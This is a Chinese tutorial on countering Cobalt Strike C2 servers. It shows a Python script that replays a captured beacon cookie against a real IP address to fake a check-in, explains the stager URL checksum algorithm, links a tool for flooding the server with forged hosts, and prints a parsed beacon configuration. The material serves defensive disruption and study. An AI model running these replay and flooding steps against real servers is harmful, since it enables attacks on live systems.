中间人重放

Wireshark抓取可疑流量

image-20230409141023028

追踪http流或者tcp,抓GET包

image-20230409141345706

将得到的cookie,port,host,放到假上线脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# coding: utf-8

import re
import time
import requests

def heartbeat():
url = "http://123.56.234.220/en_US/all.js"
headers = {
'Cookie': 'YQ4XB33mtS2F6ajcK2NoFl57OKGdyBfx2EuTSx22JGmSnCtWiuUNZ8dbVVFc2iAJVwUrpFUS70Mf7cRoWt2GMlL5BAO6hIiHtbA0jhpRO7WmHs4ET3bLzqSsKw787W1t0hjpejmQZyRyqOc5uIHkjE176/bLOfI3A88492zxeug=',
'Host': '123.56.234.220',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text

x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)

if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)

这时候CS客户端仍然会有上线信息

但是问题来了,中间人重放的方法,只能位置已经上线的主机不能伪造新的受控主机.

有没有办法伪造全新的受控主机呢?

当然可以

新主机伪造

参考文章:https://www.secpulse.com/archives/165561.html

先看效果图

5-1024x512

短时间内大量主机上线。想想1分钟上线了千八百个主机,这样几乎可以使红队的CS瘫痪了

这是如何做到的呢?

我们以Stager型Beacon为例,按照KillChain模型, 从攻击者角度回顾下CS上线流程

6-1024x690

攻击者利用CS Server生成新的Beacon监听(包括一堆非对称公私钥)并生成Stager;

攻击者投递Stager到受控主机;

受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;

Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);

Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;

C2 Server用私钥解密数据获取主机元数据。

从上述流程中,我们能Get到2个核心点:

Stager Url校验算法

Beacon配置的解密算法

与CS Server合法通信的问题等价转换为获取Stager Url和Beacon解密问题,即:

CS/C2 Server合法通信 = (Stager Url校验算法,Beacon解密算法)

只要拿到了(Stager Url校验算法,Beacon解密算法),相当于我们掌握了与CS/C2 Server合法通信的凭据。我们分别对上述2个核心点进行分析。

Stager Url校验算法

Stager Url校验算法在公开的NSE脚本中可以找到,关键函数包括:checksum8、MSFURI、isStager。

其中,MSFURI函数从大小写字母+数字的字符数组中随机指定长度的字符序列并调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值(32位Stage与64位Stage分别使用92、93作为固定值),如果相等返回字符序列,否则继续直至找到符合条件的字符序列。MSFURI(如:图7)、checksum8(如:图8)、isStager(如:图9)函数的定义:

7-1024x463

81

9-1024x427

如果找到符合条件的字符序列,则作为Stager Url向Beacon Staging Server发送下载请求。Beacon Staging Server在_serve函数中校验Url的合法性,如:10-1024x555

其实Stager就是小马拉大马的操作

上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URL下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。

如何得到那个URL?

CS中Stager URL校验算法,就是生成4位的随机校验码,

image-20230409155558922

将校验码拼接到URL后面即可请求到Stage的代码

image-20230409160327710

然后使用一个脚本

项目地址:https://github.com/LiAoRJ/CS_fakesubmit

先用CobaltStrikeParser-master解出公钥

1
{"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "MaxDNS": "Not Found", "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYqXEMk29suC1+bBjWS+//scxKVpOOjh5DT4mvbuNQZbrOcU8fQQpVgFiHpWi57yWhWXh5pHAWMllYmTjz1bngVv4xqtcNb3LIzkCGAF5U2eY/H70Z+WGYiFFcqq0JQE47KnGV2T3Y/dOSEsR4HSl7t2ZjTd0CLdVCtNxfL6EWSQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "a7c7f035b8ee5d9862b557222451fd7d", "C2Server": "123.56.234.220,/push", "UserAgent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MDDCJS)", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Metadata": {"ConstHeaders": [], "ConstParams": [], "Metadata": ["base64", "header \"Cookie\""], "SessionId": [], "Output": []}, "HttpPost_Metadata": {"ConstHeaders": ["Content-Type: application/octet-stream"], "ConstParams": [], "Metadata": [], "SessionId": ["parameter \"id\""], "Output": ["print"]}, "SpawnTo": "16nKFaB/gr/TtjAg2jiqFg==", "PipeName": "Not Found", "DNS_Idle": "Not Found", "DNS_Sleep": "Not Found", "SSH_Host": "Not Found", "SSH_Port": "Not Found", "SSH_Username": "Not Found", "SSH_Password_Plaintext": "Not Found", "SSH_Password_Pubkey": "Not Found", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Config": "Not Found", "Proxy_User": "Not Found", "Proxy_Password": "Not Found", "Proxy_Behavior": "Use IE settings", "Watermark_Hash": "idvyUaMDKubWW4TL3iPjBw==", "Watermark": 391144938, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "ProcInject_Stub": "tQuG1zVBJoXrYEStjQF4HA==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "headersToRemove": "Not Found", "DNS_Beaconing": "Not Found", "DNS_get_TypeA": "Not Found", "DNS_get_TypeAAAA": "Not Found", "DNS_get_TypeTXT": "Not Found", "DNS_put_metadata": "Not Found", "DNS_put_output": "Not Found", "DNS_resolver": "Not Found", "DNS_strategy": "round-robin", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": -1, "DNS_strategy_fail_seconds": -1, "Retry_Max_Attempts": 0, "Retry_Increase_Attempts": 0, "Retry_Duration": 0}

客户端成功上线

2